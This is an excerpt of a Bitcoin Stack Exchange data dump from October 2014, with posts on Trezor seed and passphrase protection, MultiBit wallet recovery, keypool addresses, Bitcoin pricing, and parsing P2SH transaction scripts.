  <row Id="32007" PostTypeId="2" ParentId="31992" CreationDate="2014-10-17T07:50:45.490" Score="2" Body="&lt;p&gt;Yes, Trezor uses the &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP0032&lt;/a&gt; standard to derive your keys from the seed. That means you can use any BIP0032-compatible client for recovery, or you can even use them simultaneously (but be aware of the security implications - you don't want it to leak, otherwise it beats the whole Trezor purpose).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; works great with HD wallets, but I'm sure you can find other clients as well.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-17T07:50:45.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32009" PostTypeId="2" ParentId="32002" CreationDate="2014-10-17T13:58:14.533" Score="1" Body="&lt;p&gt;This topic has gotten a lot of traction recently, with new implementations continually popping out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, there's a really nice standalone HTML5 app with slick interface called &lt;a href=&quot;https://copay.io/&quot; rel=&quot;nofollow&quot;&gt;Copay&lt;/a&gt;, developed by &lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;Bitpay&lt;/a&gt;. There's also an online service &lt;a href=&quot;https://www.bitgo.com/&quot; rel=&quot;nofollow&quot;&gt;BitGo&lt;/a&gt; (haven't tried this one though).&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-17T13:58:14.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32010" PostTypeId="1" AcceptedAnswerId="32017" CreationDate="2014-10-17T14:24:52.670" Score="2" ViewCount="1673" Body="&lt;p&gt;&lt;a href=&quot;http://doc.satoshilabs.com/trezor-user/advanced_settings.html#using-passphrase-encrypted-seeds&quot; rel=&quot;nofollow noreferrer&quot;&gt;Trezor User Manual&lt;/a&gt; says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;if you forget the passphrase there will be no way to recover your bitcoins. Not even the Recovery seed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How is it that you (or an attacker who knows the seed) can't just &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/31992/can-a-trezor-seed-be-used-in-any-other-hd-wallet&quot;&gt;restore a soft wallet with some other application&lt;/a&gt; and recover the bitcoins with the other application?&lt;/p&gt;&#xA;" OwnerUserId="14402" LastEditorUserId="5406" LastEditDate="2017-07-01T14:10:26.453" LastActivityDate="2017-07-01T14:10:26.453" Title="How does a Trezor passphrase prevent restoration of a wallet if an attacker knows the seed?" Tags="|security|wallet-security|seed|trezor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32011" PostTypeId="1" CreationDate="2014-10-17T14:50:17.190" Score="1" ViewCount="828" Body="&lt;p&gt;I'm looking for some advice on trying to recover bitcoins. &#xA;I transferred some bitcoin to my multibit wallet, it came through but still didn't confirm after 20 hours. So I tried resetting the blockchain and transactions, and now my wallet is empty! I got the message &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;com.google.bitcoin.store.BlockStoreException: Corrupted block store: could not find chain head&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I searched for this and found advice about deleting the.spvchain file, but I don't appear to have this file! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Ok, so I just downloaded the newest version of multibit and the bitcoins appeared. All is good! Thanks for the info. &lt;/p&gt;&#xA;" OwnerUserId="20730" LastEditorDisplayName="user20707" LastEditDate="2016-10-08T15:12:42.910" LastActivityDate="2016-10-08T15:12:42.910" Title="Bitcoin disappeared after resetting the blockchain and transactions" Tags="|wallet-recovery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32012" PostTypeId="2" ParentId="32011" CreationDate="2014-10-17T15:09:10.243" Score="4" Body="&lt;p&gt;Your wallet shows empty because it doesn't really &quot;know&quot; that one or more addresses that it controls &quot;owns&quot; some bitcoins because you manually deleted the blockchain files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will display your correct balance once it synchronizes again, provided of course that you have not deleted the &lt;code&gt;.wallet&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also suggest you take extra care when deleting the &lt;code&gt;.spvchain&lt;/code&gt; file, more at: &lt;a href=&quot;https://groups.google.com/forum/#!topic/bitcoinj/vIbsMfd1NUA&quot; rel=&quot;nofollow&quot;&gt;https://groups.google.com/forum/#!topic/bitcoinj/vIbsMfd1NUA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach would be to &lt;a href=&quot;https://multibit.org/help_exportingPrivateKeys.html&quot; rel=&quot;nofollow&quot;&gt;export your private key(s) for non-zero addresses&lt;/a&gt; and import them to a clean installation. Make sure you keep a back-up of your &lt;code&gt;.wallet&lt;/code&gt; file somewhere safe throughout this process.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-10-17T15:09:10.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32013" PostTypeId="2" ParentId="32001" CreationDate="2014-10-17T15:14:19.217" Score="1" Body="&lt;p&gt;Generally, no.  Usually you have to specify the address in your wallet and the threshold minimum so the pool sends your funds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most pools require some kind of registration; Eligius.St only requires your wallet's payment address.&lt;/p&gt;&#xA;" OwnerUserId="5371" LastActivityDate="2014-10-17T15:14:19.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32014" PostTypeId="1" AcceptedAnswerId="32019" CreationDate="2014-10-17T15:20:19.580" Score="0" ViewCount="264" Body="&lt;p&gt;I know how the process of changing BTC price ​​occur, but I curious as to what gave the  initial value to BTC and whether the price of another cryptocurrency refers to the BTC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I replicate this process using an API or any algorithm?&lt;/p&gt;&#xA;" OwnerUserId="20731" LastEditorUserId="2306" LastEditDate="2014-10-20T17:02:15.517" LastActivityDate="2014-10-20T17:02:15.517" Title="Who give initial value to Bitcoin?" Tags="|api|exchange-rate|market|currencies|" AnswerCount="2" CommentCount="4" FavoriteCount="0" ClosedDate="2014-10-19T17:48:34.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="32015" PostTypeId="2" ParentId="32014" CreationDate="2014-10-17T17:31:48.500" Score="0" Body="&lt;p&gt;฿ price comes from whichever API you use. I prefer Coindesk because it does a weighted average, but Blockchain.info is another good option, as is Bitstamp or Coindesk. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there you can use Bittrex API or Cryptsy or Poloniex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also specialist API like &lt;a href=&quot;http://gem.io&quot; rel=&quot;nofollow&quot;&gt;gem.io&lt;/a&gt; or &lt;a href=&quot;http://blockcypher.com&quot; rel=&quot;nofollow&quot;&gt;blockcypher.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-17T17:31:48.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32016" PostTypeId="2" ParentId="32010" CreationDate="2014-10-17T17:46:46.770" Score="1" Body="&lt;p&gt;The seed is protected with a password or PIN; it precludes the possibility of stolen devices being decrypted whilst online malware/rootkits are precluded by the hardware device being separate from the compromised OS's memory pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://doc.satoshilabs.com/trezor-user/securitybestpractices.html&quot; rel=&quot;nofollow&quot;&gt;Trezor&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TREZOR’s PIN based security system is a powerful tool to keep your&#xA;  bitcoin’s safe. If your TREZOR is stolen, the only thing between the&#xA;  thief and your bitcoins is your PIN and/or passphrase. It is&#xA;  imperative that you choose a good PIN!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-10-17T17:46:46.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32017" PostTypeId="2" ParentId="32010" CreationDate="2014-10-17T18:19:41.080" Score="1" Body="&lt;p&gt;The sentence you cited is from the &lt;a href=&quot;http://doc.satoshilabs.com/trezor-user/advanced_settings.html#using-passphrase-encrypted-seeds&quot; rel=&quot;nofollow&quot;&gt;Using passphrase encrypted seeds&lt;/a&gt; section. As the title suggests, the actual seed &lt;strong&gt;is not stored&lt;/strong&gt; in your Trezor if you're using passphrase protection. Instead, a &lt;strong&gt;passphrase-encrypted&lt;/strong&gt; version of the seed is stored in the device (and also exported as a Recovery seed, if needed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, if an attacker were to obtain the &lt;strong&gt;unencrypted (plain) seed&lt;/strong&gt;, he would be able to restore your wallet and steal the coins easily. It is however not feasible to extract the plain seed from the encrypted one, if a sufficiently complex passphrase is used.&lt;/p&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-17T18:19:41.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32018" PostTypeId="1" AcceptedAnswerId="32061" CreationDate="2014-10-17T18:52:36.603" Score="1" ViewCount="191" Body="&lt;p&gt;I was trying to understand the flow of control between functions (operations performed and their order) when a transaction is received.&lt;/p&gt;&#xA;" OwnerUserId="19374" LastEditorUserId="2306" LastEditDate="2014-10-21T19:18:21.217" LastActivityDate="2014-10-22T02:13:07.417" Title="Which part of code (function) handles received transactions?" Tags="|transactions|bitcoind|bitcoin-core-development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32019" PostTypeId="2" ParentId="32014" CreationDate="2014-10-17T19:04:45.927" Score="0" Body="&lt;p&gt;How much would you pay for 1 BTC in 2009 before knowing all this? Probably some cents since u would not mind losing, that was how the first BTC price was defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nowadays is pure especulation with some basis on the price of electricity cost to generate 1 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;APIs u can search for on the major exchanges, such as Bitstamp,BTCchina,Huobi,OKcoin,BTCe and so on...&lt;/p&gt;&#xA;" OwnerUserId="20733" LastActivityDate="2014-10-17T19:04:45.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32020" PostTypeId="1" CreationDate="2014-10-18T03:44:12.887" Score="-1" ViewCount="132" Body="&lt;p&gt;Could a person hack their miner to simply submit small transaction as soon as a block is found and to submit that as a new block with the 1 transaction to reap the 25 BTC block reward? Say, sending .00001 BTC to myself but doing it 10,000 times between addresses I own with instances of a hacked mining software? For example, I had a 200 GH device with a terribly HUGE config file pointing to 10,000 address:port combinations which are setup from a hosted PC running a listener and submitting the tiny transaction as a pass through back to the 10,000 instances?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure that 99.999 percent of the tie there is a transaction in the queue that exists waiting to be added onto the next block but what about the .001 percent chance?&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5406" LastEditDate="2016-04-24T09:15:54.210" LastActivityDate="2016-04-24T09:15:54.210" Title="Could a modified miner send a transaction and broadcast it immediately upon discovery of a block to claim a new block and the 25 BTC block reward?" Tags="|mining-theory|" AnswerCount="1" CommentCount="3" ClosedDate="2014-10-19T05:06:21.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="32021" PostTypeId="2" ParentId="32020" CreationDate="2014-10-18T06:04:29.780" Score="2" Body="&lt;p&gt;Sure, they could, but how would that help them? They'd still have to mine a block to get the reward. And you get the reward if you mine a block no matter what. So what would all this hacking gain them?&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-10-18T06:04:29.780" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32023" PostTypeId="2" ParentId="12920" CreationDate="2014-10-18T23:24:15.157" Score="1" Body="&lt;p&gt;In other words, a system where coins that have not been spent recently are worth more? I suppose you could do such a thing, but it doesn't seem useful; typically friction in economies is a bad thing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I imagine you'd price things just like in any other market: supply and demand.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-10-18T23:24:15.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32024" PostTypeId="1" AcceptedAnswerId="32652" CreationDate="2014-10-18T23:54:40.560" Score="1" ViewCount="1506" Body="&lt;p&gt;I'm testing out the nxt client and was wondering how do i change the default database download location? Its currently downloading to the current folder (nxt_db).&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-11-21T02:33:56.427" Title="How do I change the default blockchain Database download location for NXT?" Tags="|blockchain|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32025" PostTypeId="2" ParentId="13604" CreationDate="2014-10-19T01:32:08.573" Score="0" Body="&lt;p&gt;That is a normal response - It's just letting the miner know that there's a new block to be working on. You should also be getting shares accepted, but that all depends opn your hashrate. Considering you're mining LTC, if your hashrate is low the shares you get could be pretty infrequent or nonexistent. What are you mining with and what is your hashrate?&lt;/p&gt;&#xA;" OwnerUserId="20748" LastActivityDate="2014-10-19T01:32:08.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32026" PostTypeId="1" AcceptedAnswerId="32713" CreationDate="2014-10-19T09:47:00.663" Score="2" ViewCount="1023" Body="&lt;p&gt;Is it possible to enable default change address on my bitcoin-qt (aka &lt;em&gt;bitcoin-core&lt;/em&gt;) client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a &lt;a href=&quot;http://bitgo.com&quot; rel=&quot;nofollow&quot;&gt;webservice&lt;/a&gt; that monitors my balance (based on public keys) and whenever I send a transaction my balance goes to 0.0000 because my whole funds end up in a random change address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a coincontrol option to specify a change address, but sometimes I forget to enter an address. Is there any way to configure the client to use a default change address? Where all changes end up?&lt;/p&gt;&#xA;" OwnerUserId="6441" LastActivityDate="2014-11-25T19:11:36.093" Title="Is it possible to specify a default change address?" Tags="|bitcoin-core|address|change|bitcoin.conf|bitcoin-qt-setup|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32027" PostTypeId="1" CreationDate="2014-10-19T09:59:33.130" Score="2" ViewCount="700" Body="&lt;p&gt;I want to list all of the addresses in my wallet, even the ones that aren't being used right now. I know that I can change the number of addresses with -keypool, but I want to list all of the addresses.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-19T14:50:41.713" Title="How do I list the addesses in my keypool?" Tags="|keypool|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32028" PostTypeId="2" ParentId="12019" CreationDate="2014-10-19T11:26:50.803" Score="0" Body="&lt;p&gt;Most of you got this wrong!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to BitCoin, security must come first. It has become the target of many black hats lately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is true that most of the security concerns with Java are based around the browser plugin, with MultiBit the issue is even worse - because what bitcoin clients (even multibit) do is they connect to IRC to gather network updates, and they work as both a network client (connect to other nodes and ask for data) and as a &lt;em&gt;server&lt;/em&gt; (ready to give data to others). This makes the user even more vulnerable, because they might not even know that they are running in fact a server software on their desktop.&#xA;Note: it is possible Multibit doesn't have the server part as it doesn't store the whole chain, that would not help much, though.&lt;/p&gt;&#xA;" OwnerUserId="20750" LastActivityDate="2014-10-19T11:26:50.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32029" PostTypeId="2" ParentId="32027" CreationDate="2014-10-19T14:22:30.670" Score="3" Body="&lt;p&gt;Providing that you're referring to &lt;strong&gt;BitcoinCore&lt;/strong&gt;, and that by &quot;not being used right now&quot; you mean there's no transaction associated with them yet, you can use this command to list them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli listreceivedbyaddress 0 true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The parameters are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;minconf = 0&lt;/li&gt;&#xA;&lt;li&gt;includeempty = true&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13530" LastActivityDate="2014-10-19T14:22:30.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32030" PostTypeId="2" ParentId="32027" CreationDate="2014-10-19T14:50:41.713" Score="3" Body="&lt;p&gt;That's a tricky one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't modified the 'keypool' parameter then your key pool will contain 100 &quot;unassigned&quot; addresses. These addresses are controlled by your wallet but remain in a latent state in your client until you explicitly request for a new address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that every time you request for a new address, a new one will be added to your key pool, so there will always be &lt;code&gt;X&lt;/code&gt; number of latent addresses (where &lt;code&gt;X&lt;/code&gt;: your keypool size) that cannot be accessed (by design) in an obvious way through the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Provided that there are &lt;code&gt;2^160&lt;/code&gt; possible bitcoin addresses (while there is a total of &lt;code&gt;2^63&lt;/code&gt; grains of sand on earth) a collision is practically impossible, therefore it is of little to no value to try to gain control over your keypool addresses which really only serve as a buffer so that you won't have to back-up your wallet after every single transaction.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-10-19T14:50:41.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32033" PostTypeId="2" ParentId="7137" CreationDate="2014-10-19T20:03:31.533" Score="1" Body="&lt;p&gt;Bitpay just released a new plugin for Magento which can be installed via Magento connect. The code and instructions for use are available on &lt;a href=&quot;https://github.com/bitpay/magento-plugin&quot; rel=&quot;nofollow&quot;&gt;github&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20758" LastActivityDate="2014-10-19T20:03:31.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32034" PostTypeId="2" ParentId="19231" CreationDate="2014-10-19T22:57:00.100" Score="1" Body="&lt;p&gt;I think you are viewing the metric incorrectly. The notion of &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Days Destroyed&lt;/a&gt; is not relative to any other standard of measure. Rather, it is &lt;em&gt;the&lt;/em&gt; standard of measure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, there is no &quot;gold standard&quot; for Bitcoin Days Destroyed saying &quot;&lt;em&gt;if all Bitcoins had been spent within X weeks the total would be Y&lt;/em&gt;&quot;. That just doesn't make any sense. Think about it like this: how would one calculate what the DOW would be at today, had it not fallen 200 points? One wouldn't! It cannot be done; the points are there only to show the relationship of the market from day-to-day, month-to-month, or &lt;em&gt;n&lt;/em&gt;-to-&lt;em&gt;n&lt;/em&gt;. They have no standard to which they are measured.&lt;/p&gt;&#xA;" OwnerUserId="2734" LastActivityDate="2014-10-19T22:57:00.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32035" PostTypeId="5" CreationDate="2014-10-19T23:53:00.490" Score="0" Body="&lt;p&gt;Questions about keeping one's Bitcoin wallet safe. Most attacks that steal Bitcoins involve gaining access to a victims wallet.dat file and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that questions about attacks against the Bitcoin protocol itself would go under the &lt;a href=&quot;/questions/tagged/security&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;security&amp;#39;&quot; rel=&quot;tag&quot;&gt;security&lt;/a&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-10-19T23:53:00.490" LastActivityDate="2014-10-19T23:53:00.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32036" PostTypeId="4" CreationDate="2014-10-19T23:53:00.490" Score="0" Body="How to keep wallets safe." OwnerUserId="2306" LastEditorUserId="13866" LastEditDate="2023-05-11T13:35:34.920" LastActivityDate="2023-05-11T13:35:34.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32037" PostTypeId="1" CreationDate="2014-10-20T01:41:19.440" Score="2" ViewCount="236" Body="&lt;p&gt;I've been reading about several alternate uses for the underlying technology behind Bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.proofofexistence.com/&quot; rel=&quot;nofollow&quot;&gt;Proof of Existence&lt;/a&gt; (digital notary)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Namecoin&quot; rel=&quot;nofollow&quot;&gt;Namecoin&lt;/a&gt; (for DNS as well as identity and messaging)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is any project or team working on a system for registering devices that are marketed broadly (like cellphones) with decentralized set of identity servers. Once it is registered with one server it cannot be registered with any other server, and if it is identified someone else they can look up which server and which identity manages the device. Also, if the valid user transfers the identity of the device to a new server, then everyone can be certain of the new host.&lt;/p&gt;&#xA;" OwnerUserId="20762" LastEditorUserId="2306" LastEditDate="2014-10-20T02:14:40.467" LastActivityDate="2014-10-20T06:49:54.453" Title="Is anyone using the blockchain (or other core Bitcome technology) for device registration?" Tags="|proof-of-existence|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32038" PostTypeId="2" ParentId="12428" CreationDate="2014-10-20T01:51:20.000" Score="1" Body="&lt;p&gt;Bitpay and Mt. Gox (or any other currency exchange) are fundamentally different. Bitpay is not a currency exchange. Bitpay is a service for merchants who wish to take payment in Bitcoin and receive a daily payout in the currency of their choice (including Bitcoin), at an exchange rate that is fixed at the time of the initial transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ripple is something else again, a distributed currency exchange and payment protocol. As a payment protocol, it is a competitor to Bitcoin, but not directly to Bitpay as a company. Ripple labs, the company, provides a different set of services. Looking at their website, it looks like there is space for a hypothetical company &quot;Ripplepay&quot; to provide the same technical support and guaranteed exchange rate that Bitpay offers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;My views do not reflect the views of Bitpay as a company. I just work here.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="20758" LastActivityDate="2014-10-20T01:51:20.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32039" PostTypeId="1" AcceptedAnswerId="32040" CreationDate="2014-10-20T02:41:31.863" Score="6" ViewCount="1024" Body="&lt;p&gt;From the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#standard-transactions&quot; rel=&quot;noreferrer&quot;&gt;bitcoin developer page&lt;/a&gt;, the format of the scripts used in P2SH transactions are as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Pubkey script: OP_HASH160 &amp;lt;Hash160(redeemScript)&amp;gt; OP_EQUAL&#xA;Redeem script: &amp;lt;OP_2&amp;gt; &amp;lt;pubkey&amp;gt; &amp;lt;pubkey&amp;gt; &amp;lt;pubkey&amp;gt; &amp;lt;OP_3&amp;gt; OP_CHECKMULTISIG&#xA;Signature script: OP_0 &amp;lt;sig&amp;gt; &amp;lt;sig&amp;gt; &amp;lt;redeemScript&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When coins that were previously sent to a P2SH script are spent, and so the concatenated scriptSig and scriptPubKey scripts are executed, the OP_HASH160 is calculated on the redeem script, which is part of the scriptSig. How is it denoted in the script which parts should be included in the redeemScript? That is, how is it denoted which parts should be hashed when OP_HASH160 gets executed? Obviously it can't be the whole scriptSig, because there are signatures contained, so how does the executor know what to hash? Is there some sort of a marker OP code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-20T03:37:37.223" Title="How to denote &lt;serialized&gt; script in P2SH transaction?" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32040" PostTypeId="2" ParentId="32039" CreationDate="2014-10-20T03:37:37.223" Score="4" Body="&lt;h3&gt;Short Answer&lt;/h3&gt;&#xA;&lt;p&gt;Yes, but there's more than one.&lt;/p&gt;&#xA;&lt;h3&gt;Long Answer&lt;/h3&gt;&#xA;&lt;p&gt;Bitcoin scripts are a &lt;strong&gt;stack-based&lt;/strong&gt; language. The 'separators' are the Bitcoin push-data-onto-stack instructions. There are &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Constants&quot; rel=&quot;nofollow noreferrer&quot;&gt;multiple instructions to push data onto the stack&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OP_0, OP_1, OP_2, ...&lt;/li&gt;&#xA;&lt;li&gt;0x01-0x75 (Yes, that's their real name)&lt;br /&gt;&#xA;Push &lt;em&gt;opcode&lt;/em&gt; bytes onto the stack&lt;br /&gt;&#xA;This is most common - the average piece of data in Bitcoin is shorter than 75 bytes.&lt;/li&gt;&#xA;&lt;li&gt;PUSHDATA1 - Read 1 byte, convert to int, read that many bytes&lt;/li&gt;&#xA;&lt;li&gt;PUSHDATA2 - Read 2 bytes, convert to int, read that many bytes&lt;/li&gt;&#xA;&lt;li&gt;PUSHDATA4 ...&lt;/li&gt;&#xA;&lt;li&gt;OP_1NEGATE - Pushes -1 onto the stack. Somewhat use-impaired.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There's a useful rule of thumb here, though it's not always correct. Take the first byte. Convert it to a number. Count that many bytes forward. That's a single piece of data. Repeat.&lt;/p&gt;&#xA;&lt;p&gt;Let's work through an example. Let's find the elements of the input script for &lt;a href=&quot;https://blockchain.info/tx/fd8f1af8eabf25b192fecae66b096d4a1f955422793490761e58e4c3edc1c88d&quot; rel=&quot;nofollow noreferrer&quot;&gt;this transaction.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Break it up, find the input script:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;version: 01000000&lt;br /&gt;&#xA;inputs: 01&lt;br /&gt;&#xA;hash: cce488677848b7a962f01a525d7cd78139a5be1ab75ead5b7336ba6f512d0388&lt;br /&gt;&#xA;vout: 01000000&lt;br /&gt;&#xA;input script len: 8b&lt;br /&gt;&#xA;input script: 483045022100b65463abe3b5f79dbe9556180e60db4b6b3a6db7c43132e1e396e73023b34d2402206a412868470f8b83dc266a364b79e0a2acd0f5642181f7d0212c7ea608271a4a0141040ab8f88b419c62dba59d2e685bd3bc07367236d841abf3068b5886cd7a6c7297e721d42a41cb1bbd69ed684cc5d5c738d611d886c4493280b26637abad5603a5&lt;br /&gt;&#xA;seq: ffffffff&lt;br /&gt;&#xA;outputs: 02&lt;br /&gt;&#xA;amount: 80f0fa0200000000&lt;br /&gt;&#xA;output script len: 19&lt;br /&gt;&#xA;output script: 76a914f593d5cfb3b74ac2988815cdf26c0420981385b788ac&lt;br /&gt;&#xA;amount: 50d2a01900000000&lt;br /&gt;&#xA;output script len: 19&lt;br /&gt;&#xA;output script: 76a9148a0c13d08a36e68aa5294ca7e6f06a9946c3f1d588ac&lt;br /&gt;&#xA;lock_time: 00000000&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now, we know the first piece of data is 0x48 (72) bytes long.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;48...3045022100b65463abe3b5f79dbe9556180e60db4b6b3a6db7c43132e1e396e73023b34d2402206a412868470f8b83dc266a364b79e0a2acd0f5642181f7d0212c7ea608271a4a01...41040ab8f88b419c62dba59d2e685bd3bc07367236d841abf3068b5886cd7a6c7297e721d42a41cb1bbd69ed684cc5d5c738d611d886c4493280b26637abad5603a5&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The second part is 0x41 (65) bytes long:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;48...3045022100b65463abe3b5f79dbe9556180e60db4b6b3a6db7c43132e1e396e73023b34d2402206a412868470f8b83dc266a364b79e0a2acd0f5642181f7d0212c7ea608271a4a01...41...040ab8f88b419c62dba59d2e685bd3bc07367236d841abf3068b5886cd7a6c7297e721d42a41cb1bbd69ed684cc5d5c738d611d886c4493280b26637abad5603a5...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-10-20T03:37:37.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
